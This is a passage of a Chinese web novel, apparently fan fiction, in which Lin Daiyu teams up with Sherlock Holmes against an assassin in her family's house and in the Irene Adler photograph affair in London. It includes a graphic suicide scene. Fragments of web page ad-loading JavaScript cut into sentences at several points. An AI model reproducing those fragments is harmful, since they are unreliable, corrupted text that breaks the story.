黛玉立刻摘下头上的簪子,将尖头的一端往肩上的手掌假装一刺,吓得那人立刻放开了手。 接着她将手中的簪子往门外抛去,重重砸在铜门上,白玉翡翠与铜碰撞的声音立刻吸引了看在院门口的小厮们的注意,立刻打开了门。 那个偷袭人知道黛玉已经成功叫来人,知道此地不宜久留,忙跳上围墙,顺着墙飞奔离去。 黛玉还想让小厮们跟上,但小厮也只能在墙下束手无措。 她只能眼睁睁看着那个人渐渐消失在夜色中。就在黛玉准备转身时,她听见一声巨响从墙角传来。 只见那个人似乎被谁袭击,重重摔倒在地上。 于是黛玉立刻命令小厮们赶紧追上,那人迅速起身,从腰间抽出一把匕首。 刀光成功让小厮们停下脚步,不敢靠近。只见这人穿着一身的夜行衣,将手中的匕首举到面前。 说时迟那时快,另一个身影从墙跳下,高挺的身子飞快地将那人手中的匕首挑开。 林黛玉认出来那个身影就是许久未归的福尔摩斯。 只见福尔摩斯手中握着长棍,疾步前行,他挥舞手上的长棍,不让对方靠近,那个夜行衣者蹲下来,想把被甩出去的匕首重新拾起来。 福尔摩斯用修长的腿一踢,直接踢到那人的下巴,接着再把匕首踢到更远处,此时黛玉也不敢怠慢,立刻冲到不远处将匕首捡起。 夜行衣者见自己逃跑无望,便将自己的脑袋重重撞到墙上,沉闷的一声巨响,血液和脑浆从那人头上炸开,墙上的血浆显目惊心,而夜行者鲜血浸泡的头颅就好像被扔到墙上的西红柿,被砸个稀巴烂。 黛玉哪里见过如此壮烈的场面,空气中的血腥味弥漫开来,她感觉自己的胃里一阵排山倒海,在视觉和嗅觉的双重刺激下,再加上一个月来的劳累过度,黛玉终于承受不住,昏倒过去。 福尔摩斯手疾眼快地扶稳黛玉,才没有让黛玉倒在地上。 黛玉昏迷前最后的印象是感觉到有一双有力的双手握住自己的手腕,刺激的场面放大了黛玉的感受,她甚至能听到自己耳膜一阵彭彭如鼓敲响。 …… 伦敦的马车上,斯坦莱载着黛玉慢慢靠近目的地。 黛玉想起自己当时倒在福尔摩斯的怀中,脸颊还是微微潮红,她摘下软帽,当作扇子轻轻扇起来。 这一切都被斯坦莱从后视镜瞧得清清楚楚,他只当黛玉在害羞,正合他对东方女孩含蓄的印象。 他们的马车终于停靠在布里翁尼大院的街道上,斯坦莱并没有停留太久,他和黛玉告别后就返回。 林黛玉朝街道深处走去,太阳已经完全落下地平线,西边只有一层薄雾笼罩的云彩。 有一辆漂亮的小型四轮马车停靠在艾琳小姐的家门前,这时突然跑来几个流浪汉,他们围堵在马车旁,似乎因为什么而大打出手。 车上的艾琳小姐正好下车,马上就被卷入这斗争中,黛玉轻轻惊呼一声,不知道如何是好。 这时,一个身影闯入人群,这个人似乎想停止这场闹剧,但很不幸,那个人被推倒在地上,头上的血浆溅射到周围人的身上,躁动的人群立刻安静下来。 幸而黛玉见过比眼前更加惨烈的场面,比起尖叫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的路人,黛玉就冷静许多。 流浪汉一哄而散,只剩下那个可怜的人满脸是血的躺在地上。 黛玉强撑着看了那人一眼,立刻转移目光,她还是无法亲眼目睹如此血腥的场面。 艾琳知道这个可怜的人是因为帮助她才受伤的,于是马上叫来随从把这个人抬进去。 “林黛玉小姐,你来了。”艾琳迎上黛玉的目光,朝她莞尔一笑,“我刚从我先生那边来。” 她挽起黛玉的手臂,带她进入院子。 两个女孩拾级而上,黛玉压低声音,悄悄告诉艾琳:“福尔摩斯在调查你,恐怕这和你受到的威胁有关。” 福尔摩斯早已名声在外,艾琳听见这个著名的侦探已经盯上自己,身子忍不住颤抖了一下,最后咬牙切齿道:“我早应该想到的。” “福尔摩斯说他会保证你的安全。”黛玉告诉她。 艾琳冷笑回答:“噢,我的上帝,得了吧,他只会考虑他的委托人。” 这时黛玉后知后觉,意识到福尔摩斯的委托人便是威胁艾琳小姐的人。 “你好像很了解福尔摩斯?”艾琳转向黛玉,温柔的眼神立刻变得犀利起来。 黛玉知道艾琳把自己误认为是福尔摩斯的同伙,忙解释:“我曾经有事情委托过他,刚才我在教堂门口看见了他,他向我打听你的情况。” “原来是这样。”艾琳松口气,“请原谅我刚才的态度,我害怕你是那位侦探的同伙。” 黛玉微笑回答:“如果我是他的同伙,我也不会告诉你了。” 艾琳脸上变得舒缓,但还是有些紧张。 尽管黛玉很好奇艾琳做了什么事情会引起福尔摩斯的调查,但她还是忍住询问问题的冲动。 毕竟这是人家的隐私。 她们进入屋子,发现那个满脸是血的人懒洋洋地躺在沙发上,黛玉不喜那张血迹斑斑的脸庞,便把注意力放在屋内的装潢。 室内墙壁贴上柔和的蓝色壁纸,古典吊灯和壁灯为房间提供充足的光线,胡桃木家具展现出浓厚的古典氛围。 艾琳小姐命女仆打开窗户,然后到厨房送上茶来。 “林黛玉小姐,请你稍等。”艾琳让黛玉坐在长沙发对面的椅子上,上面放了一张垫子,坐起来很柔软。 艾琳小姐看着躺在沙发上的人,命令随从赶紧去叫医生,随后自己到楼上去。 “他出了这么多血,他快不行了。”一个男人说。 另一个女人回答:“闭嘴,如果没有他,艾琳小姐的钱包和手表早就被那群流浪汉偷走了。” 原本黛玉只是低头看着桌上的剧本,听见一男一女的对话,还是忍不住去看那个可怜的人到底怎么样了。 在灯火下,黛玉忍住内心的不适,直勾勾地看着那个人的脸庞,她突然知道眼前这个人是谁了。 只见福尔摩斯突然举起手,窗户外面抛进来好几个烟火筒,片刻,烟火筒散发的烟雾弥漫整个房间。 “着火了!”有人开始尖叫。 9. 火灾 林黛玉只见房间烟雾滚滚,她想逃出房间,但发现发现随从和女仆们已经把逃生的路堵的严严实实。 看来她是不能立刻离开房间了。 “蹲下来。”不知什么时候,福尔摩斯来到黛玉身后,“虽然这烟雾对我这个老烟鬼来说并不浓,但你的肺部可能受不了刺激。” 黛玉回头看见福尔摩斯那从容不迫的表情,他眼底藏不住的得意简直就是告诉黛玉这场动静和他逃脱不了关系。 她不理解福尔摩斯的行为,心里虽然有一丝不快,但还是照做了。 福尔摩斯说着,从桌上拿起女仆刚送来的茶水,让黛玉把手帕拿出来。 随后福尔摩斯把浸润的手帕递给黛玉,让她把口鼻闭上。 他们抬头,听见噔噔咚的下楼声,是艾琳慌忙的脚步声。 福尔摩斯的目光直勾勾盯着脚步声的源头,黛玉似乎猜到福尔摩斯下一步想做什么,于是用尽最大的声音地叫住艾琳小姐的名字。 “林黛玉小姐?”艾琳意识到黛玉还在客厅里,忙转身返回。 “你不应该把一位小姐的客厅弄得如此乱七八糟。”黛玉仰头直视福尔摩斯的脸庞,发现他脸上所谓的血迹不过是红色颜料。 福尔摩斯居高临下地看着黛玉,没有说话,两只手紧紧握成拳头。 此时烟雾已经散尽,艾琳进入客厅就看到被扔道毛毯上的烟火筒,她的目光掠过烟雾的来源,过去把黛玉扶起来。 “这位先生,看样子你的情况并不严重。”艾琳脸上露出一丝微笑,似乎也预测到了什么把戏。 福尔摩斯不敢久留,找了个理由就要离开。 “站住。”艾琳小姐叫住福尔摩斯,“请告诉我,你到底是谁。” 福尔摩斯没有回头,而是伸出一双满是红色血迹的手,说:“小姐,你也不愿意我因为失血过多而死在你家中吧。” 艾琳小姐被那血红的手吓了一跳,忍不住后退一步,摆手就让他离开。 黛玉敢肯定红色颜料就在福尔摩斯的手心,刚才他那双还干干净净的手就变成如此模样。 “对不起。”艾琳对于发生的情况感到十分抱歉。 黛玉朝艾琳笑道:“没关系,我有个消息告诉你,我知道那个可怜的人是谁。” 艾琳领会她的意思,试探回答:“难道那个人就是鼎鼎大名的福尔摩斯?” 看见黛玉笑而不语,艾琳心中便知道自己差点进入福尔摩斯的圈套,刚才在有人喊着火时,她第一反应确实是要下楼查看自己的照片是否有没有被销毁。 幸好黛玉叫住了他,否则福尔摩斯就知道那张照片的藏匿地点。 艾琳出门把那些惊慌失措的仆人们叫回来,表示并没有发生什么着火,只是有人从窗户扔进烟火筒而已。 “林黛玉小姐,福尔摩斯给我们这么大的惊吓,我们可不能就此放过他。”艾琳机灵一动,让马车夫出门跟踪那个受伤的人。 然后艾琳拉住黛玉的手,匆匆上楼。 她们进入艾琳的房间,艾琳打开胡桃木衣柜,里面不仅挂着女式服饰,还有几套男式衣服。 “我只有散步时才会穿男式衣服,没想到现在派上用场了。”艾琳一面说,一面换上男式衣服。 艾琳把头发挽起来,戴上圆顶硬礼帽,她问黛玉:“你要和我一起去跟踪那个人吗?我想要确定他到底是不是福尔摩斯。” 黛玉缓缓回答:“我敢保证,那个人就是福尔摩斯。” “亲爱的,我相信你,只是我得要好好戏耍那个侦探。”艾琳朝黛玉坏笑了一下,把手上的男式软毡帽递给黛玉。 这时艾琳已经穿上黑色外衣和松垂的灰色格子裤,她催促黛玉也从衣柜里挑一套穿上。 “为什么要穿男式衣服?”黛玉问她。 艾琳回答:“因为这样子不会被福尔摩斯认出来。而且还能保护好自己。” 黛玉望着窗外夜色渐浓,总觉得晚上出去不妥当,她想起斯坦莱对她的嘱咐,便劝艾琳道:“要不我们还是别出去了,你等会就要离开伦敦。” “那可不行。”艾琳已经收拾好东西,“我知道你在担心什么。我会让车夫远远跟着我们。” 于是黛玉只得选了件黑色外衣和细条纹长裤,她把头发挽起来,用男式软帽戴上。 原本黛玉就长得风流婉转,换上男装后并没有降低自身的风雅洒脱,反而更显另一种不一样的英气风流。 在离开房间前,黛玉还选了一根轻便的男式手杖。 “噢,这是我先生留下来的。”艾琳看见黛玉带上手杖,“亲爱的,有了这个手杖,你现在看起来更像是一位英俊的男生,我敢打赌,那些迷人的小姐若看到你,肯定会为你倾倒。” 艾琳和黛玉下了楼房,打开门,看见昏暗的街头,黛玉还是停下脚步,拉了拉艾琳的衣袖,说:“我们还是不要出门了。” 艾琳是个勇于冒险的女孩,她放开黛玉的手,语气有些冷淡,说:“那你就呆在家里,我自己去。” 于是艾琳独自跟随马车夫留下的踪迹跟踪福尔摩斯。 此时伦敦已经进入夜晚,街道昏暗,绝大部分地区的街道上只有明灭不定的油灯,只有富人区的街道才有明亮的煤气灯。 林黛玉站立在门口,看着艾琳远去的背影,总觉得心里隐隐不安。 她知道贝克街221B号到这里的距离,心中默默计算着艾琳小姐回来的大概时间。 黛玉来回踱步许久,仍然不见艾琳回来的迹象。 于是她只得带着艾琳的几个剩下的车夫和随从,往贝克街的方向去。 在转弯处,黛玉看见了艾琳,艾琳看起来似乎正和一群男孩交谈。 为了避免乌泱泱的一群人打扰艾琳交谈,于是黛玉让随从和车夫在原地等候,自己走向艾琳小姐。 艾琳看见了黛玉,喜出望外地招了招手,说:“林黛玉小姐,你来了,这几个男孩讲的故事可有趣了。” 原本穿着男装的两位女孩并没有引起男孩们的注意,但黛玉路过他们时,身上留下来的一股奇香被男孩们嗅到了。 男孩们只闻得一股幽香从那人袖口发出,闻之令人醉魂酥骨。他们闻过不少香水,但如此奇香却是头一遭闻到。 “喂!”男孩们叫住了黛玉,“你身上的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 香水是什么牌子的?” 林黛玉背着他们,不想转身,也不想回答。 旁边的艾琳压低嗓子,说:“这是从巴黎买回来的。” 男孩们的注意力似乎已经从黛玉身上的奇香转移到这两个人身上,轻轻吹了声口哨:“看来是个有钱人。” “你们愿意赏我们几个先令吗?” 一个男孩厚着脸皮上前一步,“我们今晚还没有吃晚餐呢。” 黛玉不想和这些男孩们过多纠缠,就要把口袋里的先令拿出来。艾琳虽然心里并不情愿,但想到之前男孩对自己是如何的彬彬有礼,又是如何的幽默风趣,于是还是给了他们几个先令。 艾琳环顾四周,发现自己叫来的马车夫早已不见了踪影。 于是艾琳只得接过黛玉递给的几十个先令,伸手就要给那个男孩:“拿去吧。” 路灯照在艾琳的手上,男孩认出这是一双女人的手。 艾琳是个出色的演员,男孩们之前只是把艾琳当成一个声音比较尖的男孩,光线昏暗,再加上艾琳的脸隐没在戴着帽子的阴影下,男孩们只根据服饰以为艾琳是个瘦小的男孩。 他们没想到竟然眼前的人是个女人。 男孩们找艾琳聊天就是为了悄悄偷走藏在衣服口袋里的钱包。 男孩眼光扫了她们全身上下,觉得这两个女扮男装的人实在是太可疑。 “我想要更多的钱。”男孩越来越得寸进尺,“这点钱根本就不够所有人吃。” “够了。”艾琳压住心中的怒火,拉起黛玉的手就要离开。 男孩们一个闪现拦住了她们的去路。 这时林黛玉默默握紧了手中的手杖,记起福尔摩斯对她在剑术防身上的指导。 黛玉也朝不远处等候的随从们招手,让他们赶来。 …… 自从在黛玉遇见刺客后,福尔摩斯就认为她应该要掌握一项基本的防身技能。 福尔摩斯作为侦探,在进行调查工作时,总会面对不可知的危险,所以他掌握不少可以防身的技能,比如拳击、剑术还有枪法。 他想起黛玉的小身板,首先想到的是教她枪法,然而他来到扬州城几个月,并没有找到左轮手枪这一东西,所以他打算先教黛玉剑术。 黛玉从昏迷中醒来时,已经是中午时分,雪雁见黛玉睁开双眼,忙拿了靠枕,扶黛玉起床。 “姑娘醒了。”雪雁一面说,一面叫丫鬟送上温水来。 黛玉问起昨晚的情况,雪雁慢慢回答:“那个刺客的尸体已经被搬走,老爷和福尔摩斯都平安无事。” “我有事情要问他,你去派人唤他到正厅等我。”黛玉说着就要下床,让雪雁梳妆。 雪雁眼神有些躲闪,轻声道:“姑娘今日就不要见他了罢。”她在黛玉醒来前就悄悄打听了昨晚的消息。 黛玉的动作顿了一下,问:“为什么?”从雪雁的神情来看,黛玉似乎猜到了一些。 “昨儿姑娘昏迷后,他就把姑娘抱进了院子,碰巧被赶来的琏二爷和几个远族瞧见了……”雪雁的话还没有说完,黛玉便打断了雪雁,她已经猜到整个事情的来龙去脉。 10. 入怀 林黛玉作为身居宅院的闺阁千金,自然不该与外男有过多亲密接触,然而在那一晚,许多双眼睛都看见那个不知死活的福尔摩斯亲自抱着黛玉进入了小姐的院子。 当福尔摩斯抱着黛玉跨过门槛时,她发现黛玉的体重比他抱过的任何人都要轻,他甚至不敢太用力,生怕不小心就把怀中的黛玉捧碎了。 黛玉的青丝若有若无地撩过福尔摩斯的手腕,这份触感让他每一寸肌肤都敏感起来。 福尔摩斯直视前方,不敢低头看着黛玉,一股幽香从怀中飘出,福尔摩斯嗅过不少女士的香水味,但眼下闻到这奇香却胜过之前的百倍。 幸而福尔摩斯在黛玉的绣房前停下脚步,他知道外男是不能私自进入小姐的绣房,这要是被别人知道,可是要被打死的。 几个身强力壮的嬷嬷已经在绣房前等候,她们伸出手将黛玉揽入怀中,把黛玉抱了进去,独留下福尔摩斯在门口,他的双手还保持伸出去的动作。 李管家早已叫来贾琏和林家远族来,众人看着墙下的尸体和满地的鲜血,不知道如何是好。 福尔摩斯已经从院子出来,李管家看到这一幕后,本就对福尔摩斯不顺眼的他越发产生要除掉福尔摩斯的心思。 “你知道什么叫做男女授受不亲?你刚才的行为符合礼法?”李管家率先向福尔摩斯发难,指责他刚才的行为。 福尔摩斯冷漠回答:“我当然知道,我只是抱小姐到绣房门口,并没有做出什么过分的行为。” “你为什么这么着急?难道你想让我眼睁睁看着你家小姐摔倒受伤?”福尔摩斯慢条斯理地反问李管家,“我想大家都看见我并没有做出什么过分的行为。” 李管家的气势立刻弱下来,他虽然还想顶嘴,贾琏伸手拦下阻止这场争吵。 福尔摩斯也不想理睬他们,直接走向那个刺客的尸体,他蹲下来掀开那人的面纱,他并不认识这个人,至少可以排除林府的大部分下人。 但是从这人的逃生路线,显然他对林府也很熟悉,福尔摩斯眉头紧皱,怀疑他应该是林府的熟人。 接着福尔摩斯就要动手摸摸这刺客身上的衣服,此时李管家的声音在后头大叫:“你疯了?死者的东西你也敢动?” 接着李管家就要命人把这尸体抬走,立刻拿出去扔了。 “不行!”福尔摩斯反对李管家的命令,“我必须要好好检查这具尸体。”作为侦探,他太明白尸体在扑朔迷离的案件中发挥巨大的作用。 但旁人显然不是这么想的,那几个林家远族似乎比李管家还着急要把尸体扔到乱坟岗,甚至提出要火化掉。 福尔摩斯抬起眼皮,眼睛凝视着那几个林家远族,瞧见他们神情不一,福尔摩斯原本皱起的眉头舒展开来,脸上漫上若有若无的笑意。 “我必须要留下这具尸体。”福尔摩斯没有退让的意思。 那几个林家远族摇摇头,就要拿起手中的拐杖敲打福尔摩斯:“你这个小厮,也轮到你在这里指指点点?” 贾琏眼疾手快,伸手拦下拐杖,轻声说:“他现在已经不是什么小厮,而是林姑娘的教书先生。” 自古尊师有道,听见这个容貌英俊的人竟然是黛玉的老师,那几个林家远族也不好说什么,只得愤愤不平地把拐杖收了回去。 “依我看,这尸体可以留下,但考虑到林姑娘身子弱,沾不得晦气,以后你就不要再见林姑娘了。”最后还是贾琏想出折中的法子,他同意福尔摩斯把尸体带走,但必须搬出林如海的院子,到林府偏僻的角落去。 因为贾琏也觉得刚才福尔摩斯揽黛玉入怀中的行为过分亲密了,把这两人分开对谁都有好处,住在同一个院子难免会有瓜田李下的嫌疑。 福尔摩斯对此不以为然,他一下子就接受贾琏的意见,至此他在黛玉醒来前就搬出了林如海的院子。 黛玉醒来时,发现原本是福尔摩斯的房间已经人去楼空,房间里面的一纸一笔都被下人清理或者被福尔摩斯带走,只剩下大件家具空荡荡地摆在房间里面。 她知道以福尔摩斯的能力,肯定能推断出那个刺客的身份,而刺客的身份是解锁父亲病重缘由的重要一环。 因此黛玉迫切想从福尔摩斯口中知道更多的消息。 虽然黛玉心中急切,但面上仍是从容,她找来昨晚几个可能会在现场的小厮,旁敲侧击地问他们福尔摩斯的下落。 然而这些小厮们事先已经被告知不许把福尔摩斯的下落说出来,否则就会把他们视为有损姑娘清誉的帮凶。 所以黛玉并没有从小厮口中问出有用的消息,而雪雁昨晚一直都在黛玉的绣房,对福尔摩斯的下落一无所知。 黛玉只得闷闷地从绣房出来,徘徊在院子中。原本一地的鲜血和墙上的痕迹已经被下人连夜清洗干净,但黛玉总觉得空气还是若有若无地飘着血腥味。 她在想如果福尔摩斯要传递消息给她,他会怎么做。黛玉扶着雪雁的手,开始绕着院子里散步。 福尔摩斯曾和她说过,多多走路锻炼身体,将来才能有一副好的体能在船上连呆几个月。 在绕了三圈后,黛玉有了些头绪,她知道福尔摩斯肯定可以把消息传出去,但为了避免落到旁人手上,被旁人知晓,福尔摩斯一定会用英文字母来传递消息。 因为整个林府只有黛玉和福尔摩斯看懂英文字母。 这下黛玉放宽心,到原本是福尔摩斯的房间开始学习英语,虽然少了福尔摩斯的指点,黛玉的进度比往常要慢,但她好歹还是学了一些单词。 黛玉放下英语字母表后,忽然瞥见房间的角落有一根棍子,她认出来昨晚福尔摩斯就是用这长木棍把刺客从墙上推下来。 在下人眼中,这根长木棍并没有什么用处,或者是没有什么价值。但黛玉似乎猜到这是福尔摩斯留下来的线索,否则他没必要把这木棍拿回房间,直接扔在外头的院子更方便。 于是黛玉走过去把棍子捡起来,用手触摸棍子,她在棍子的一端摸到了一个刮痕。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >黛玉拿到窗边细细瞧,发现上面不深不浅的刻着“S”形字母。 这肯定不是木头自然的刮痕,黛玉猜测这是福尔摩斯临走前用匕首刻上去的。 她知道S是二十六个字母中的一种,黛玉心下思考,为什么福尔摩斯偏偏选了这个字母。 黛玉拿起自己的单词本,还没有翻开,脑海立刻灵光一闪。 是的,S就是方位词的首头字母,黛玉想起自己前几日温习过的S开头的单词,立刻猜到S就是South的意思。 比起复杂的中文,一笔画的S更符合福尔摩斯当时匆匆离开的场景。 黛玉联想到福尔摩斯应该是被赶到林府的南边,自古以来都是以北面向南为尊,林府南边自然是下人居住的地方。 于是黛玉回到自己的绣房,命雪雁拿出笔墨,自己开始给福尔摩斯传递消息,比起自己被动等待,倒不如主动出击。 当然黛玉本就是个谨慎的人,她没有鲁莽到自己在纸上直接询问福尔摩斯,而是用英语简单地写了一个单词:who? 她想从福尔摩斯那里知道刺客的真实身份,好让自己分清敌友,不落入熟人的圈套中,因为她也从刺客逃跑的细节猜测到这是熟人作案。 黛玉把纸条递给雪雁,让雪雁带给南边的福尔摩斯。但黛玉递出去时,她又把纸条收回来,她不知道自己的行为是否正确。 或许她应该听那些人说的话,好好避嫌才是。 但她想起自己的父亲身处危险中,下毒的人是找到了,但却没有揪出后面的人,而昨晚又来个刺客,直接要取她父亲的性命。 如此一而再三,黛玉自然不能眼睁睁看着父亲陷入危险中,而眼下也就只有福尔摩斯能够帮助她。 但是雪雁去找福尔摩斯,若被旁人知晓,雪雁去了就等于黛玉去了,所以黛玉认为此事雪雁也不能露面。 于是黛玉叫来从贾府带来的丫鬟春纤,春纤面生,林府的下人们是认不出她的。 幸而春纤也是个伶俐的,她在下船时也曾见过福尔摩斯,于是便欣然揽下黛玉给她的任务。 黛玉坐卧不安地等待一天后,终于从春纤收到福尔摩斯的消息,他确实在林府的南边,传回来的纸条上写着“sport”的单词。 但是福尔摩斯还是没有告诉黛玉刺客的真实身份。 看来福尔摩斯的意思是让黛玉保持运动的习惯,比如走路和剑术,当然剑术的练习已是后话。 …… 伦敦的小巷,男孩们渐渐拢聚在黛玉和艾琳的身旁,在她们没有暴露自己的女子身份前,男孩们还是有些忌惮,但如今看清只是两名看起来弱不禁风的女士,他们就开始打起抢劫的主意。 黛玉感觉到艾琳紧张地挽着她的胳膊,她紧握手中的手杖,记得福尔摩斯告诉过她,剑术时出手要快准狠,趁其不意选择一个目标进攻。 这时艾琳感觉面前有一阵风,只见黛玉快速举起手中的手杖,往最靠前面的男孩的下巴敲打过去。 11. 离开 黛玉的手杖重重地撞击到男孩的下巴上,男孩哪里料到眼前弱不禁风的女孩竟然会主动出手,他痛得泪水立刻流出来。 趁着男孩们还没反应过来,黛玉将手杖的一端一勾住男孩的下颚,然后再一推,将最靠前的男孩推倒。 这时马车的灯光从远处传来,艾琳认出这是自己的马车,立刻招手示意,马车速度慢下来,停在她们面前。 艾琳带着黛玉跳上马车,后面的男孩也想跟上,黛玉忙将手杖朝后面一扔,手杖滚动在地上,成功减慢他们跟上的步伐。 “艾琳,恐怕我得要给你的先生买新的手杖了。”黛玉看着手杖越滚越远,只得对她说。 艾琳摇摇头,回答说:“没事,我本来也不喜欢这个手杖。” 待二人坐稳后,车夫立刻加快速度离开这个是非之地。 “对不起,小姐,是伦敦路上的车太多,刚才我没跟上。”车夫回头向她们道歉。 艾琳只是摆手,表示自己不想说话,她仍沉浸在劫后余生的惊恐之中她没想到现在伦敦的治安会变成这样,还比不上远在乡村的情况。 黛玉倒是十分淡定,即使没有车夫及时出现,她也有信心与男孩们周旋。 刚才她的出手只使用了五成技巧,就轻而易举将其中一人放倒,她知道这些男孩对她威胁并不大,她可是和福尔摩斯在货船上与海盗交锋过的人。 艾琳表示自己连夜就要离开伦敦,多一秒也呆不下去。尽管刚才她乔装打扮,狠狠戏耍了福尔摩斯一顿。 “我觉得福尔摩斯就在院子里等我。”艾琳脸上露出担忧的神情,叫住马车别径直往她家里开去。 艾琳告诉车夫:“直接前往火车站。”眼下对艾琳来说院子里面的家具已经不重要了,她要尽快离开伦敦。 艾琳从包中拿出笔和纸,放在膝盖上匆匆写了一会,装进带来的信封,把信封交给车夫,说:“麻烦把这封信交给罗拉夫人。” 随后艾琳转头对黛玉说:“我先把你送回旅馆门口,事先是我疏忽了,我没想到伦敦竟然会发生这种事情。” 看着艾琳愧疚的样子,黛玉微笑着安慰了她。 两个女孩在马车里依偎而坐,在行驶一段时间后,艾琳似乎想到了什么,又从包里拿出一张照片,放进信封中。 在车夫送黛玉到旅馆门口后,黛玉发现雪雁和紫鹃已经在此等候许久。 她们连忙扶黛玉下了马车,雪雁向黛玉告知自己已经将平安的消息通过电报传达给林如海。 艾琳掀起帘子,她姣好的面容在路灯下熠熠生辉,脸上仍带着一丝惊恐,但艾琳还是勉强朝黛玉微笑了一下,和她挥手告别。 黛玉也同样报与微笑,看着艾琳的马车消失在伦敦的迷雾中才转身回旅馆。 “姑娘,可曾发生了什么事?”紫鹃虽然没从黛玉的脸上瞧出什么,但她从艾琳的表情猜测肯定出了什么事情。 雪雁也在一旁搭话,说:“姑娘很久都没有回来,我和紫鹃可是担心坏了,姑娘再不来,我真的要去贝克街找福尔摩斯先生。” 黛玉只是笑而不语,她安慰两个丫鬟,领她们进入旅馆,说:“只是出了些小状况,现在最重要的事情是解决晚餐。” …… 贝克街221B号。 福尔摩斯正来回踱步思考着什么,他的计划原本是成功的,然而却因为黛玉的出现造成计划失败。 他原本是想通过一场人为的意外来找到艾琳小姐隐藏的照片,福尔摩斯喜欢揣摩不同人的心理,在大火发生时,人们第一时间就是保护自己最珍贵的东西。 比如母亲最先注意到的是自己的孩子,未婚女子最在意的则是自己的珠宝首饰。而国王的照片就是艾琳最珍贵的东西,福尔摩斯正是想利用这心理来找到相片的隐藏之处。 然而当时黛玉叫住了艾琳,福尔摩斯也因此计划失败。 他低头想着,门外响起了敲门声。 华生熟练地起身去打开门。 “请问福尔摩斯先生在这里吗?” 门外的声音冷漠的飘进屋子,听见这冰冷的口气,原本还在思考的福尔摩斯产生好奇心,于是也走出门。 只见一个上了年纪的女士正从台阶走上来,轻蔑地注视着福尔摩斯和华生。 这位优雅的女士很快就从两人之间辨别出福尔摩斯,她对福尔摩斯道:“想必你就是福尔摩斯先生了。” 福尔摩斯看着这来路不明的女士,有些诧异地点点头。 “我的女主人让我来吩咐你,一个小时前她已经和丈夫登上前往欧洲大陆的火车。” 听见这突如其来的消息,福尔摩斯脸色有些发白,他没想到艾琳小姐动身如此迅速,“她是不是不会回来了。” “是的,永远不会回伦敦。”女士很高兴看见福尔摩斯一副懊恼的样子,把手中的信封交给福尔摩斯后,转身就离去。 只见信封上面写着:“福尔摩斯先生亲启。” 华生把门关上,回到客厅,他看见福尔摩斯正对着手中的信件若有所思。 “艾琳是怎么发现我们的身份?”华生指出问题。 福尔摩斯回答:“这并不难猜,肯定是林黛玉小姐告诉她的。” “林黛玉小姐已经在伦敦了吗?”华生刷的一下子起身,听见老朋友已经回来了,他的内心当然十分激动。 福尔摩斯倒是对华生的态度十分坦然,他指了指手上的信封,说:“华生,现在最重要的事情是研究这封信。” 华生用一种无可奈何的眼光看着福尔摩斯,知道福尔摩斯这个工作狂只会把心思放在侦探工作上。 “我想这封信对找回照片也没有任何帮助吧。”华生对信件兴趣并没有像福尔摩斯那样大。 福尔摩斯把信件封面拿到灯光下,发现上面笔迹潦草,说明艾琳是在情急之下写下来的。 福尔摩斯仍然不死心地再次把信件翻来覆去看几遍,终于又翻到夹在信件背后的一张照片,上面也有一张小纸条,写着的是“国王亲启”。 灯光下,福尔摩斯看着笔迹,思绪却飘向黛玉,陷入回忆。 …… 林府中,福尔摩斯检查尸体的时间并没有很久,林府众人觉得尸体停放在府中十分晦气,所以很快就叫人把尸体抬走,扔进乱坟岗草草掩埋。 福尔摩斯知道自己不能做主,只得眼睁睁地看着旁人抬走尸体。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但他心情很好地背手看着众人把尸体抬出去,因为他能研究出的细节已经差不多了。 从死者的容貌和衣服来看,福尔摩斯并不能分辨出什么。 因此眼下最重要的线索之一就是那把匕首。 这匕首看起来是普通样式,估计是死者随手从市场上买来的,但福尔摩斯发现这匕首被擦拭得十分锋利,冷冷的泛着寒光。 刀柄是用皮革包裹起来,看起来有些破旧,福尔摩斯发现柄上的左侧磨损得比右侧厉害。 福尔摩斯回忆那一晚死者的动作,想起来这死者使用匕首十分老道,因为死者很熟练地反手握住匕首刺向他——反手使用匕首既可以一刀割喉,也可以保护胸膛不受敌方攻击。 于是福尔摩斯试着反手握起匕首,看着刀柄上磨损程度不同的左右两侧,突然意识到这个死者是左撇子。 福尔摩斯看着静静躺在手掌中的匕首,他使用右手使用这把匕首时,手心触碰到的是刀柄的右侧,反之左手同理。 所以福尔摩斯才能通过刀柄上磨损程度的不同来判断死者是左撇子。 有了这么一个特征,福尔摩斯锁定的范围变小了不少。 福尔摩斯把匕首收起来,回想起林家远族这几个人对死者尸体处理的做法以及琢磨不透的态度,心中更加确定了几分。 这时有人敲了敲房门,福尔摩斯警惕地站起身,还没有到交班的时间,是不会有人来找他的。 于是福尔摩斯隔门问道:“是谁?” “我是林姑娘身边的春纤,请问这里住的是福尔摩斯吗?”春纤的声音传来。 福尔摩斯听出是林黛玉身旁丫鬟的声音,靠近窗户,打开,压低声音只让春纤听到,说:“是我,我是福尔摩斯。” “叫奴婢好找,原来你在这里。”春纤听见不远处传来脚步声,忙急促说,“姑娘叫我来找你……” “我知道你家姑娘想问什么。”福尔摩斯迅速打断春纤的话,他也听到了脚步声,“把这张纸条给林姑娘。” 福尔摩斯从口袋掏出纸条,连忙递给春纤,说:“一定要告诉林姑娘,这几天要注意自己的安全……” 他还想继续说下去,但脚步声越来越近,福尔摩斯催促春纤赶紧离开。 春纤只得接下纸条,在被发现前离开了福尔摩斯所在的地处。 福尔摩斯关上窗户,刚到桌子面前坐下,门就打开了,进门而入的正是李管家。 李管家本来就对福尔摩斯结怨已久,只是碍于黛玉的面子上不好发作,如今见福尔摩斯被赶出院子,自然以为自己可以好好磋磨磋磨他。 “你给我到二外门口去。”李管家指挥福尔摩斯提前站岗,“不到太阳落山不许回来。” 福尔摩斯没有说什么,起身就离开,他正好可以借这个由头来询问其他小厮有关左撇子的消息。 在黛玉那边,林黛玉也没有坐以待毙,她命雪雁和云姨娘照顾好自己的父亲后,扶着紫鹃的手出了院子。 “姑娘这是去哪里?”紫鹃见黛玉望下人的住处去,以为黛玉要去找福尔摩斯。 黛玉回答:“我知道我不能去找他,所以我要找的是另一个人。” 12. 决心 